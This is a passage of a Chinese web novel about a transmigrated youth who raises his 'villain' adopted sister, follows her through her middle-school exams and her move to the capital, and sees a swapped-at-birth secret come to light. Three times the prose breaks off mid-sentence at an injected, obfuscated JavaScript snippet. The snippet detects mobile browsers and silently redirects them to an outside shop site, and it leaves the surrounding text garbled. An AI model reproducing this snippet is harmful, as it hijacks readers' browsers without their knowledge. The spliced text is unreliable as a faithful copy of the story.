把小孩从六岁养到现在，过了这么多年，亲眼看着她从一个小小软软的娃娃，长成现在挺立少女的模样，顾执早就打心底里把她当成了自己的亲妹妹，甚至是女儿。 顾执有时甚至很庆幸有反派救赎系统的存在，至少可以让潇潇过得稍微轻松那么一点点。 可是距离主线剧情的日子越来越近，他就越来越担心。 察觉到顾执的失神，林梓潇好奇地凑到他面前：“哥哥，你在想什么？” 顾执回过神来，看着林梓潇乖巧温顺的样子，笑了笑。 “没什么，成绩很好，哥哥很放心，”顾执把成绩单妥妥帖帖地放回书包里，扯开话题：“潇潇，你们班上有人谈恋爱吗？” 顾执上的一直是国际学校，学校对于恋爱并没有那么视如洪水猛兽，多是持开放的态度，十几岁正是青春期孩子对感情懵懵懂懂的时候，他身边就有不少谈恋爱的同学。 “我们班还没有，”林梓潇实话实说，“不过别的班有。” 一班多是些成绩优异、中规中矩的孩子，不会做老师不允许的事。 不过初中时不少学生都进入了青春期情窦初开的时期，自然也有背着老师偷偷恋爱的学生，并不稀奇。 “那潇潇有喜欢的男孩吗？”顾执笑眯眯地问。 林梓潇表情一顿，看向顾执。 顾执的表情自然温和，就像是一个好奇妹妹感情生活的好兄长。 林梓潇停顿很久，放在身侧的手紧了紧，声音有些干涩：“……没有。” 顾执只当她不好意思对自己谈起这些，随手揉乱她的头发，笑道：“这个年纪有喜欢的人很正常。” “嗯……”林梓潇默了默，抬头故作单纯地问道：“那哥哥呢？哥哥有喜欢的人吗？” 顾执更用力地蹂躏她的发顶，笑道：“小丫头片子，你还管起你哥来了。” 林梓潇调整好表情，不高兴地撅起嘴，小孩子似的不依不饶追问：“那到底有没有嘛？” “没有！”顾执哭笑不得地戳了戳她的脑门。 “哦。”林梓潇借着低头揉额头的动作，不动声色地勾起了嘴角。 宋诗在餐厅喊两人：“过来吃饭啦！” 宋诗和顾清明两夫妻虽然看起来不太靠谱，但做出来的一桌菜至少卖相还不错。 顾清明夹了一筷子葱油鲍鱼片给林梓潇：“这些都是从京城新鲜运来的食材，小宝你尝尝，干爹做的怎么样？” 林梓潇乖乖地塞进嘴里，细细品味了一番，给顾清明竖起一根大拇指：“好吃。” 顾清明顿时眉开眼笑，又往林梓潇碗里夹了不少菜：“好吃你就多吃点。” 林梓潇平时都是自己糊弄自己，有空就炒两个菜，没空就随便应付两口，从来没吃到过爸妈做的热菜热饭。 不知道是不是因为刚才哭得太猛了，总觉得现在眼皮子浅浅的，又有些想哭，她埋头苦吃，试图隐藏自己的表情。 顾家虽然是京城数代累积的世家，但从来没有什么架子，也不讲究什么食不言寝不语，饭桌上都是聊些琐事。 宋诗突然想到林梓潇快要读初三了，提到：“小宝，等中考完就安排你到京城来读高中好不好？” 顾清明也赞同的点点头：“京城教育环境好一些，再加上你总一个人生活，我们也不大放心，就照你干妈说的，高中到京城来读，你觉得怎么样？” 林梓潇神色有些犹疑。 顾执对于这个提议自然是举双手赞成，把林梓潇带去京城，方便提高她的幸福值，说不定还能提前主线剧情，百利而无一害。 见林梓潇迟疑，顾执便开口劝道：“哥哥也觉得这样好一些，潇潇，你也不要担心适应不了，等你入学以后，哥哥还会在学校呆一年，会好好照顾你的，嗯？” 林梓潇不知是被哪句话触动了，眼睛突然唰一下亮了起来，重重地点了点头：“好！” 吃完饭后，宋诗顾清明两夫妻就不知道跑哪过二人世界了，留下顾执和林梓潇独自玩耍。 宋诗和顾清明是青梅竹马长大的，结婚也早，但这么多年感情依然甜蜜，再加上顾执又向来是不需要人多操心的，于是就经常丢下孩子，做一对忘崽夫妇。 顾执早已习惯了，他无奈地摇了摇头，便决定带林梓潇出门散步。 山庄里也办了些跨世纪活动，还有篝火晚会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578466|187211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，等逛一圈回来，已经十一点多了。 顾执从车里搬出几箱大大小小的烟花：“都是从京城带来的，潇潇，我带你放烟花。” 林梓潇看着那几箱烟花，有些失神。 其实她很讨厌烟花。 人们总是在过年团聚时，或是办喜事的时候放烟花。 可是她既没有亲人能团聚，也没有什么值得庆祝的喜事。 每年春节的时候，镇里不少人家都会放烟花，烟火从四面八方绽放，天空被映照得像白昼一样璀璨。 也照出她的枯寂。 顾执正在拆烟花的包装，没有注意到林梓潇的情绪，他起身后，随手塞了几根仙女棒到她手里，用火机点燃，叮嘱道：“小心点，别烫着。” 火很快烧到了芯子上，炸出星星点点的火花。 林梓潇愣愣地看着手里的星火。 顾执只当她没玩过，温柔地低头看她，伸手牵住林梓潇的手，用仙女棒在空中随手舞动，划出不知名的形状。 “小宝，好玩吗？” 林梓潇抬头看着身后护着自己的顾执，琥珀色的眼睛被照得亮亮的，她弯了弯眼睛，甜甜地说：“好玩。” 顾执捏了捏她的脸蛋，看见她高兴，心里也觉得暖暖的。 仙女棒燃尽后，他又点燃了几个小玩意给林梓潇玩，最后只剩几箱大烟花了。 顾执把几箱烟花排排放在空地上，把火芯子捋出来。 “潇潇，想不想点一下？” 林梓潇点了点头，从顾执手里拿过火机。 “小心点，点燃了就马上跑回来知道吗？”顾执又想让她体验放烟火，又有些不放心，老父亲似的嘱咐道。 林梓潇不理他，小跑过去蹲着点燃火芯，故意呆在原地不动。 眼见着火芯子都要烧到头了，顾执心脏都要停止跳动，着急地喊她：“跑回来潇潇！” 林梓潇这才动身往回跑，烟火恰巧在她身后升起，转瞬便炸在空中，带出一阵巨响。 她带着得逞后的笑意，三步并作两步地跑着扑到顾执身上。 顾执吓得不轻，没空理会天上正绽放的烟花，接住扑过来的林梓潇后，气恼地打了一下她的屁股。 “再敢开这种玩笑试试！”顾执罕见地生了气。 林梓潇看到顾执如此在意她，并不害怕他生气的样子，反而觉得心里被塞的满满的，乖巧地认错：“对不起哥哥，我知道错了嘛。” 孩子大了不好揍了，顾执使劲捏了捏她的脸蛋泄愤，生气道：“下次再这样，你看我理不理你。” 林梓潇被骂了还没心没肺地冲他笑：“哥哥，新年快乐。” 顾执愣了愣，看看手腕上的表，这才发现已经过了零点。 跨世纪的历史性时刻，镇子里到处都有人放烟花，噼里啪啦的，场面宏大，把漆黑如墨的夜空都照得绚烂。 顾执有些哭笑不得，新年新气象，他也只好放下怒气，笑着说：“潇潇，新年快乐。” 与此同时响起的，是许久没出现的电子音：【监测到幸福值变动，幸福值加5，目前总计为35】 林梓潇看着顾执身后交相辉映的璀璨烟火，盛大的光亮将他温柔俊朗的脸庞照得如梦如幻，深邃的眉眼温润如玉。 她第一次觉得，烟花，好像也挺讨人喜欢的。 17. 第十七章 日子过得飞快，一年过去，初三的林梓潇即将迎来中考。 考生本人并不紧张，毕竟三次模考，一次四校联考，她的成绩都始终稳定在第一。 其实镇一中，甚至市里的重高都递来过橄榄枝，表示可以给林梓潇直接保送的资格。 但林梓潇心里早有决断，既然高中要转去京城，那就参加中考，挂上一个镇状元的名号，至少也是一块敲门砖。 比起林梓潇的淡定，顾执却异常地有些紧张。 中考一共连续三天，顾执连请四天的假，专门跑来给她送考。 他提前一天到豫西镇，住在林梓潇家附近的宾馆，第二天一早又买好早餐□□。 林梓潇心里喜滋滋地，嘴上却故作懂事：“哥哥，不是什么大事啦，我自己也可以的。” 顾执忙前忙后地照顾她，抽空回道：“其他人都有家长送考，我们小宝自然也要。” 林梓潇喜欢顾执叫她小宝，一叫她就乖了。 她卖乖地朝顾执笑笑，嘴甜道：“有哥哥送，我肯定能考第一。” 顾执欣慰地揉揉她毛茸茸的脑袋：“嗯，肯定考第一。” 其实顾执这么紧张她的中考，确实是有原因的。 原书剧情里，林梓潇曾因为林恺欠债的原因跟一群混混结过梁子，在她中考时，这帮人伺机报复，拦住了势单力薄的林梓潇。 当时陈让正在文具店买笔，林梓潇害怕牵连陈让，只好求着他们放走陈让，让他能顺利参加考试。 而她自己，最后则只能选择放下尊严，按照几人的要求跪下，背后生挨了两闷棍，拖着伤躯回到考场。 可即便如此，林梓潇最后还是因为迟到时间过长，被判定缺考一门。 她本是状元热门人选，可因为少了一门成绩，爆了大冷门，最后连镇二中的尾巴都够不上。 再后来，是陈让拿出自己多年的压岁钱，瞒着林梓潇给她交了择校费，才让她能在镇二中就读。 自从顾执回溯时间后，剧情已经有了极大的改动，可他不敢赌，他必须保证林梓潇能顺顺利利地参加中考，再全须全尾地把她接到京城，他无法接受林梓潇出现任何一点意外。 中考时要打乱所有学校的学生，分配到各个考场，林梓潇和陈让很幸运，分到的考场就在自己学校，多少会更轻松适应一些。 顾执亲自把人送到学校门口，目送着林梓潇和路上碰到的同班同学一起走进考场，这才放下心来离开。 中考试题比平时模拟考的还要简单一些，对早已有高中生水准的林梓潇来说没什么难度，她很早就完成了试卷，不过出于对中考的尊重，她没有提前交卷，而是检查了一遍又一遍，等到结束铃响才跟着众人一起交卷。 考试结束后，林梓潇这种学神级别的人物自然格外受欢迎，不管认识的还是不认识的，都围在她身边要对答案。 林梓潇随口说了几个简单题的答案，怕影响其他同学考试的心态，难的几题便没有说，安抚大家道：“剩下的答案等考试全都结束后再对吧，下午还有其他考试，不要影响心态。” 眼见着林梓潇被一群同学围着，陈让连凑都凑不进去，只好一脸怨尤地先走了。 顾执站在校门口家长们的前排，看到陈让单独出来，皱了皱眉，叫住他问道：“潇潇呢？没跟你一起出来？” 陈让苦大仇深地指了指身后：“喏，那里呢，我哪有跟她一起出来的份儿啊。” 顾执顺着他的手指看过去，便看到了被一群学生包围在中间的林梓潇。 她个子高挑，今年已经窜到了一米七，漂亮的脸庞逐渐褪去了年幼时的稚气，有股初露端倪的惊艳，身上更是有一种鹤立鸡群般的独特气质，让她在人群中十分耀眼。 林梓潇被同学围着，也没露出什么不耐烦的神色来，只是淡淡地笑着。 顾执见她在学校里人缘这么好，一下子也放心了不少。 他看得出来，比起小学时和同学之间淡漠的相处，现在潇潇已经真的有了接纳友情的能力。 现在的潇潇，和剧本里阴郁压抑，沉默寡言的设定，已经相去甚远了。 林梓潇远远地看到顾执，眼睛立刻亮了亮，她转头朝周围认识的同学告别，快步朝顾执跑过来。 “慢点，”顾执笑着迎过去，“当心摔了。” 林梓潇黏糊糊地凑过去，挽着他的手撒娇：“有哥哥在，才不会摔。” 顾执对她的依赖很受用，伸手拿过她手里考试用的文具，一起往家里走去。 来接人之前，顾执就提前买好了饭菜温着，等人回来就能吃上热乎饭。 吃完了饭，他又催着林梓潇去午睡休息一会。 林梓潇听话地爬上床，给自己盖好被子，然后眨巴着大眼睛得寸进尺道：“要哥哥讲故事。” “这么大了还要讲故事。”顾执嘴上数落，手已经非常诚实地拿起了一旁的小说书。 “好了，闭上眼睛。” 林梓潇心满意足地闭上了眼睛。 其实她早就过了需要大人讲故事才能入睡的年纪，又或者说，她也根本没有过这个时期。 小时候，林梓潇敏锐地察觉到了母亲想离开的心思，试图用乖巧来留住她，从来不会要求什么，总是自己乖乖入睡。 即使这种乖巧并没能奏效，可她却早已经习惯了懂事乖巧，因为生怕顾家人会像母亲一样丢下自己，林梓潇总是乖得不像话。 可是顾执、宋诗和顾清明却总是不惜用全部的爱意来宠爱她，温养她，是他们教会她任性，给她面对一切的底气。 要求顾执给她讲故事，就像是她在确认顾执爱意的小方式，而顾执也永远会不厌其烦地给她回应。 顾执微微侧身靠在床边，他翻开书，轻缓地读，“一八三八年初，巴黎上流社会有两个青年到了佛罗伦萨，阿尔贝·德·莫尔塞夫子爵和弗朗兹·德·埃皮奈男爵。他们是约定好一起来观看当年的罗马狂欢节的……” 林梓潇把脸朝向顾执那边，偷偷往他那里挪了挪。 顾执已经彻底结束变声期了，他的声音少了几分少年的清越，多了低沉温润的悦耳，像大提琴一般丰润清雅，缓缓诉说。 林梓潇听着他的声音，嘴角微微带着笑意，安心地闭上了眼睛。 读了几页后，她的呼吸声就变得平缓悠长，睡得恬静。 顾执放下手里的书，伸手替她整理了一下脸颊边的发丝，掖了掖被子后，才轻手轻脚地离开卧房。 这几天里，顾执都亲自把林梓潇送到考场，再亲自接回来，简直不能更贴身保护。 到了最后一天的下午，顾执更是提起了百分之两百的警惕心。 根据剧情，林梓潇被打伤缺考，就是在这一天。 送林梓潇去考场的路上，他紧紧拉着她的手，生怕她离自己远一步就出了意外。 林梓潇对顾执的紧张毫无察觉，看着两人交握的手，隐秘地笑了笑。 自从十岁以后，顾执就很少牵她的手了，他好像总是严谨地守护着那一道男女大防。 顾执心里的警报在看到迎面走来的一群花臂男后彻底拉响，他牵着林梓潇的手紧了紧，警惕地看着那群满脸写着“不是好人”几个字的壮汉。 林梓潇却只是淡淡地看了几个人一眼，并不避开，反而迎着走了上去。 顾执一惊，正想把林梓潇拉回来，就看到走在最前面的花臂哥看到林梓潇后，露出了一脸憨笑，挠了挠头：“听说你和小让在这边中考，我们在这附近转转，看有没有人闹事，中考加油啊小林。” 林梓潇点了点头：“谢谢哥。” 几人简短交谈后就走开了，等到走远后，顾执疑惑地扭头问林梓潇：“刚才那几位是……？” 看这样子，应该是没有什么混混闹事的情节了，但是话又说回来，林梓潇怎么会认识这么一群……花臂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578467|187211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男？ “哦，是陈让家夜总会的安保部，刚才跟我说话的那个，是散打课教我和陈让的教练，陈叔叔后来聘去夜总会了，”林梓潇似乎终于感受到了顾执的担忧，朝他安抚地笑了笑：“放心啦哥哥，我肯定会顺利完成考试的。” 听完林梓潇的解释，顾执松了一口气。 小说剧情里，潇潇曾经差点被林恺卖给当地一群放高利贷的混混抵债，走投无路之下，她举起小刀伤了人，虽然事后被判定为正当防卫，但也因此和这群无赖结了仇。 想起书里的情节，顾执仍然有些心有余悸，初读这些情节的时候，他只是觉得有些不忍，可一想到这些要发生在潇潇身上，他就彻底慌了神。 好在现在看来，这一切都没有发生。 转眼已经走到了校门口，顾执少见地主动抱了抱林梓潇，他弯下腰，在她耳边轻声道：“加油潇潇，别紧张，不管成绩怎么样，考完我们就一起回京城。” 回了京城，至少就可以随时保护潇潇，不用时刻担惊受怕了。 林梓潇重重地“嗯！”了一声，伸手回抱住顾执。 叮嘱完后，林梓潇就一步三回头地进了考场，顾执看着她蹦蹦跳跳的背影，不由得勾起嘴角。 不知道从什么时候开始，当初那个小小软软的小姑娘，已经长成了青竹一样的少女。 但是这也意味着，他们离主线剧情，已经越来越近了。 剧情里的林梓潇，在回到林家后，也曾有一段时间试图和林家人好好相处，可她后来越变得越来越阴郁，越来越偏执暴戾，直到无法挽回的地步，这一切一定是有原因的。 而他一定要阻止这一切的发生，不管是从任务角度，还是他个人角度出发，他都希望林梓潇能幸福开心。 最后一门考的是生地综合，120分钟的考试时长，顾执就一直等在校门口，希望林梓潇出来就能看到他。 两个小时说短不短，说长倒也不长，考试结束的铃声响起后，教学楼里逐渐响起学生们的喧闹声，很快也有学生走出考场。 林梓潇还是那么显眼，被一群同学围着对答案，不过走到了校门口，同学们急着回家，很快也就散了。 只剩陈让和林梓潇还走在一起。 陈让看着林梓潇，又看了看校门口的顾执，瘪了瘪嘴，看着要哭。 他知道考试结束后，顾执就要把林梓潇带回京城了，或许以后都见不到面了。 “别告诉我你要哭了。”林梓潇无奈地看着要哭不哭的陈让。 “不行吗！”陈让声音里已经有哭腔了，“林梓潇你真冷血，你都不难过吗？说不定我们以后都见不到面了！” “又不是死了，怎么会见不到？”林梓潇哭笑不得。 陈让不知道是看了什么青春疼痛文学，委屈地说：“你去京城念高中了，成绩肯定越来越好，以后一定会考清华北大的，而我只能考一个破大学，说不定都考不上大学，七年都见不到，你知道什么是七年之痒吗？七年之后，我们就会忘了对方……” “傻叉。”林梓潇笑骂了一句，上前一把抱住陈让。 这还是林梓潇第一次不是在对练的时候抱他，陈让一下子就哭了出来。 陈让情感丰富，很快哭的稀里哗啦，上气不接下气的，路过的同学都惊奇地看着他。 一初赫赫有名的‘校霸’当众大哭，实在是道奇景。 “好了别哭了，丢不丢人。”林梓潇拍拍他的背。 三年过去，陈让长高了很多，已经从小学毕业时，还没有林梓潇高的小豆丁，长到了比她高小半个头的身高。 但即使这么高了，还是埋在人家女生肩上哭。 林梓潇拍了拍他的背，轻声但坚定地说道：“我不哭不是因为冷血，是因为我知道，我们一定会再重逢的。” 陈让哭得更大声了：“我们永远都是最好的朋友！” 林梓潇：“……嗯。” 18. 第十八章 中考结束后，顾执在豫西镇又留了几天，让林梓潇和同学们告别，顺便处理了一下学籍的问题。 一周后，他带着林梓潇回到了京城。 顾执早就亲自布置好了林梓潇的房间，潇潇的房间在他隔壁，坐拥整栋楼采光最好的位置，东南两方都是落地大窗，还延伸了一个大阳台，面朝绝佳湖景。 房间的主要色调是以木质色调和米白色调为主的简约温暖风格，几乎铺满地毯，顾执知道林梓潇喜欢看书，给她挑选了很多国内外的各类书籍，几乎塞满整个房间，还有最新款的游戏机和各种游戏碟片，全都一应俱全。 独立卫浴连通了连廊对面的房间，那是一个巨大的衣帽间，顾执这是直接开辟了一整个房间的空间来给林梓潇当衣帽间。 不等林梓潇放自己的随身衣物进去，衣帽间早就已经被填满了，粗略看去，都是国际知名品牌的当季新品，休闲类的，运动类的，正装类的，还有各种首饰包包，全都一应俱全，涵盖了林梓潇平时上学、玩乐、运动和参加晚宴舞会的各种场合。 这个房间的每一处，小到沐浴露、香薰的选品，大到房间的设计，家具的选品，全都是由顾执亲自完成的。 因为他一直记得，在林家，林蔚然就有这样一个房间，他希望林梓潇也能享有这样的宠爱。 即使已经做到了这一步，顾执还是生怕林梓潇不喜欢似的，小心翼翼地轻声问：“潇潇，你看看还有什么不喜欢的或者缺的，哥哥立刻让人换掉。” 林梓潇没有说话，走近轻轻触碰着这些选材名贵的家具。 这些大件家具都很新，但是已经几乎没有新家具的甲醛味，想必也是顾执早就让人处理过的。 这里宽敞、明亮、温暖、精致、漂亮，和她豫西镇阴暗逼仄的房间简直有着天壤之别。 落地窗前洒下的阳光，就像是照亮了她的前路。 林梓潇猛的转过身，抱住身后的顾执，坚定道：“哥哥，我一定会好好学习的。” 到底还只有十五岁，心思单纯，林梓潇能想到的，只是要好好学习，将来出人头地，报答顾家。 顾执失笑，忽地又想起他来到这个世界时，初见十七岁林梓潇的样子。 那时的林梓潇，想的是什么呢？ 他抬手摸了摸林梓潇的长长的黑发，温柔地说：“潇潇，我不需要你变成多厉害多优秀的人，哥哥只希望你能开心快乐地长大，好吗？” 林梓潇点了点头，埋在顾执胸口，贪恋地汲取一丝温暖。 楼下传来宋诗清脆的声音：“小宝，顾执，下来吃饭了！” 可即使听到了宋诗的呼唤，林梓潇还是不想松开顾执，她在顾执怀里摇了摇头，一副小孩耍赖皮的样子。 这些年，长大的不只有林梓潇，十七岁的顾执，身形已经和成年后相差无几，一米八几的身高，肩膀很宽阔，因为长期运动健身，身材也很结实。 任由林梓潇赖皮了一会后，顾执才轻轻推开她，笑道：“多大了还耍赖，哥哥是不是跟你说过，长大以后不能随便搂搂抱抱。” 顾执带着清爽龙井茶香的衣角从指尖擦过，林梓潇怔愣的看着自己的手指。 顾执已经转身下楼了：“快下来吃饭。” 林梓潇回过神，迅速应了一声，跟在他身后一起下楼。 为了庆祝林梓潇第一天到家，家里的厨师坐出了一整桌满汉全席，都是林梓潇爱吃的菜。 宋诗看着排排坐的林梓潇和顾执，满意地点头微笑。 之前看着老林家的一儿一女，她不知道多羡慕，现在终于也算是儿女双全了！ 宋诗夹起一块糖醋小排放在林梓潇碗里：“对了宝宝，干妈家隔壁有一对龙凤胎，跟你是同岁，也是今年刚中考完，到时候你们会入学同一个高中，过几天干妈介绍你们认识哈，先跟同学熟悉一下，暑假你们也可以约着一起出去旅旅游啊，让哥哥带着你们，开学哥哥高三了，就没空陪你们玩了。” 顾执心里一紧。 宋诗口中的龙凤胎，正是林家的一儿一女。 这么看来，主线剧情应该是要开始了。 既然逃不过，不如就让局势掌握在自己手里。 顾执笑着提议道：“妈，正好后天出成绩，不如我们就请林家一家人聚个餐，把潇潇介绍给大家认识。” 宋诗想了想，答应了：“也好。” 宋诗喜欢林梓潇，早已把她当成了自己的亲生女儿，既然如此，她自然是要带着林梓潇逐步接触京城这些交际圈的。 就先从关系最为亲密的林家开始。 林梓潇没有说什么，一副全听长辈安排的乖顺模样。 * 虽然放了暑假，但林梓潇不敢轻易放松。 宋诗和顾清明送她就读的是经常数一数二的国际学校，对英文水平要求很高，学校的理事长是顾清明的好友，虽然入学手续都已经办妥了，但是八月份的时候，学校要求所有即将入学的高一学生参加入学考试，以考试成绩分班。 林梓潇对自己的成绩很自信，但这毕竟是京城，教学质量同豫西镇这种小地方是没法比的，而她想要的不止是名列前茅，她要第一，要名列榜首。 其他学科也就算了，林梓潇觉得自己差得最多的应该就是英语，豫西镇那种小地方，并不重视外语教育，而这所国际学校的学生，很多都是从小浸润在外语环境里的，英语就像母语一样流利。 林梓潇来京城两天，每天都把自己关着，看英文电影，一字一句地跟读跟练，看有字幕的，没字幕的，连吃饭都在听英文频道，单词一天要背十来页。 宋诗和顾清明看了都不得不感叹，潇潇对自己确实够狠，有这种毅力，做什么都会成功的。 转眼到了和林家聚餐的日子，因着这是第一次让潇潇在外人面前露脸，宋诗还专门打扮了她，化了点淡妆，又给她穿上漂亮的小裙子，压箱底的粉钻项链都给她戴上了。 林梓潇相貌本就美艳，这一打扮，削弱了一点英气的凌厉感，放大了眉眼间的那股子娇美，更像是花季少女，简直让人眼前一亮。 这裙子也很有讲究，既精致，又不过分隆重，简单大气，尽显大家闺秀的风范。 宋诗满意得直点头，她早就想要一个女儿来打扮折腾了，如今潇潇住到京城，愿望终于实现了。 她拉着林梓潇走到顾家两父子面前，带着潇潇转了个圈：“怎么样，漂亮吧？” 顾清明竖起大拇指，不吝啬夸奖：“潇潇漂亮，老婆审美也好，美上加美。” “我都羡慕清仪好多年了，现在终于也有女儿可以打扮了，走，潇潇，咱们去闪瞎他们的眼！” 顾执今天也稍微打扮了一下，平时乖顺搭在额前的碎发，用发胶随意一梳，做了个半背头的造型，有股青涩的成熟。 跟林家聚餐也算是家宴，顾执穿得并不隆重，不过休闲的西装，倒也帅气英俊，和林梓潇的小裙子是同品牌同系列同配色，看起来格外搭配。 他走向林梓潇，绅士地曲起臂弯：“走吧，潇潇。” 林梓潇从善如流地挽上顾执的手臂，轻轻靠着他。 吃饭的餐厅离家里不远，是一个独栋四合院。 林家比顾家先到，一大家子都到了，林家老太太去世的早，老爷子跟着一块来参加家宴。 众人看到进来的宋诗和顾清明，先是热络地打招呼，紧接着看到顾执和林梓潇，默契地集体愣住。 原因无他，林梓潇长得和林家人，还真挺像。 她长了一双和沈清仪一模一样的丹凤眼，琥珀瞳，还有和林父林恒一模一样的小驼峰鼻，相似的面部轮廓，比起林蔚然，她更像是林景然的同胞姐妹。 林梓潇落落大方地向林家人问好：“叔叔阿姨，林爷爷，你们好，我是林梓潇。” 林老爷子是头一个反应过来的，哈哈大笑道：“我说小顾小宋，你们喜欢景然，可以认景然当干儿子嘛，何必到外面去找一个！” 宋诗看了看林景然，又看了看林梓潇：“你们俩还真是挺像的，不过呀，我还是更喜欢女儿，儿子有一个顾执就够我受的了。” 顾执状似无意地提起：“说起来也确实巧了，我们潇潇和景然蔚然还是同一天生日呢。” “同一天生日？”林恒挑了挑眉，“小姑娘，我之前听清明说，你是豫西镇生人？” 顾执看到林恒开始在意起了林梓潇的身世，就知道自己的目的达到了。 林恒和顾清明不一样，顾清明家世代累积，比起他笑里藏刀的温和形象，林恒则更雷厉风行，冷峻严厉得多，林恒小心谨慎，自然也很多疑，长得像，同一天生日，生产时同样在豫西镇，这么多巧合凑在一起，他一定会着手去调查林梓潇的身世。 林梓潇恍若未觉，朝林恒点了点头：“是，我从小生长在豫西镇。” “好啦，大家肚子都饿了吧，寒暄的话一会再说，先坐下吃饭吧！”沈清仪笑着招呼大家坐下。 众人落座的时候，她多看了几眼林梓潇。 听说这个小女孩是顾家夫妇在豫西镇认的干女儿，家里条件并不好，母亲很小的时候就离开了，父亲也在初中的时候进了监狱，但小姑娘很争气，似乎成绩不错。 林梓潇是顾执一手带大的，为人处事上也都是他的影子，稳重大方，没有一点出身贫寒的小家子气，看得人很舒服。 想到这里，沈清仪对这个和自己长得颇为相像的小女孩多了几分好感。 席间主要都是大人在说话，顾执怕林梓潇认生，一直陪她小声聊天，悉心布菜。 顾执看着林梓潇长大，一直拿她当小孩照顾，因此显得无微不至了一些。 林老爷子看到一向对林蔚然和林景然不冷不热的顾执，对这个不知从哪来的小姑娘这么上心，顿时有些不满。 穷苦出身的小丫头最是心思深，小小年纪就知道攀龙附凤，勾搭京城顾家的少爷。 林爷爷清咳两声，假装不经意地提起林蔚然和林景然的中考成绩：“昨天我们家两个孩子的中考成绩刚下来，景然成绩很不错，有635分，比人大附中的分数线足 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林老爷子有些端着，但也不至于当众不给林梓潇面子，他拿起自己的茶杯，却不主动碰杯。 林梓潇扯了扯嘴角，主动降低杯口，跟老爷子碰杯。 比起林老爷子，林恒和沈清仪要给面子得多，主动拿起酒杯。 沈清仪看着林梓潇酷似自己的眉眼，对这个小女孩也生出了几分好感，温柔道：“潇潇，你和蔚然景然都是一个学校的同学，以后可以经常来找他们玩，阿姨做甜点给你吃呀。” 林梓潇既不过分热络，也不过分冷淡，乖巧道：“谢谢阿姨，我会来的。” 林恒静静观察着林梓潇不卑不亢的姿态，似乎在想着什么。 见林梓潇过来，他拿起自己装着红酒的高脚杯，轻轻和她碰杯：“林梓潇，恭喜你斩获探花，未来前途似锦。” 说罢，竟是主动喝完了杯中酒，显然是给足了林梓潇面子。 林恒的举动惹的一旁的林景然都多看了好几眼。 爸爸向来严厉，因为长期身居高位，在外也总是傲然冷漠的，今天竟然会给一个十几岁的孩子这么大的面子，难道是看在顾叔的份上？ 敬完了林家人，林梓潇又主动敬宋诗和顾清明：“干爹干妈，也谢谢你们的资助和栽培。” 宋诗笑得见牙不见眼：“跟干爹干妈还客气什么，快坐下吃饭。” 林梓潇从小到大的为人处事都是顾执教的，比起林蔚然林景然这种从小接受贵族教育的京城孩子比起来，礼仪气质也是不落下风。 这个年纪的孩子，能落落大方礼貌周全就已是难得，林梓潇这样稳重成熟的则更是少见，沈清仪和林恒都不由高看她。 等林梓潇敬过一圈，林蔚然和林景然才起身敬酒。 顾执欣慰地摸摸小姑娘的头发：“小宝做得好。” 林梓潇拿起酒杯，悄悄和他碰杯：“也谢谢哥哥。” 顾执低头看她，微扬的嘴角带着一丝笑意，周身萦绕的温柔是显而易见的。 他宠爱地看着林梓潇，就像看着自己亲手打磨，引以为傲的珍宝。 林梓潇在桌子下轻轻扯他衣角，小声朝他撒娇：“哥哥，我想吃那边的排骨。” 明明那小排就在不远处，抬手转转桌子就能夹到，偏偏林梓潇跟没手似的，这点小事都要央着顾执。 顾执乐意宠着她，声音温柔：“好，哥哥给你夹。” 林蔚然看着两人相处时自然亲昵的样子，心里有些愕然。 顾执虽然待人接物都温和周到，看似亲切好相处，但他实际是个很有边界的人，周围真正亲近的好友并不多，她和哥哥也算得上是和顾执最熟悉的朋友了。 可顾执对林梓潇却完全不同，他放任林梓潇肆意进入他的领地，丝毫没有被触犯边界的不适，甚至乐于无微不至地照顾她，就好像……把林梓潇当成孩子。 林蔚然看着林梓潇与哥哥极度相似的侧脸，心中莫名涌起一丝不安。 19. 第十九章 顾执猜的没错，林恒非常警觉多疑，在察觉到林梓潇和林蔚然的身份有疑点以后，他很快就着手进行了调查，检测了林蔚然和林景然的DNA。 几天后，他登了顾家的门。 宋诗正好带林梓潇出门逛街，并不在家。 “老林，你怎么来了？”顾清明见林恒不打招呼就一个人登门拜访，有些奇怪。 林恒一向礼数周全，很少这样贸然上门。 见只有顾清明和顾执在，林恒拿出了手里的一叠资料，递给两人。 顾执一向成熟稳重，长辈们都拿他当大人看，谈事情从不避开他。 顾清明和顾执分别拿起资料看，越往后翻看，顾清明的面色就越凝重。 根据DNA检测报告来看，林景然是林恒的孩子，而林蔚然不是。 DNA亲子检测技术在国内还并没有普及到大众，这次检测是林恒专门找到司法机关的朋友帮忙做的，很权威。 “你们应该也注意到了，林梓潇和我、清仪、景然长得都有一定相似度，经我调查，林梓潇的母亲杨慧芳也确实是同年同日在同一家医院生产，连生产时间都相差无几。”林恒指了指医院出具的出生证明。 “所以，你是怀疑潇潇和蔚然抱错了。”顾清明面色变得严肃起来。 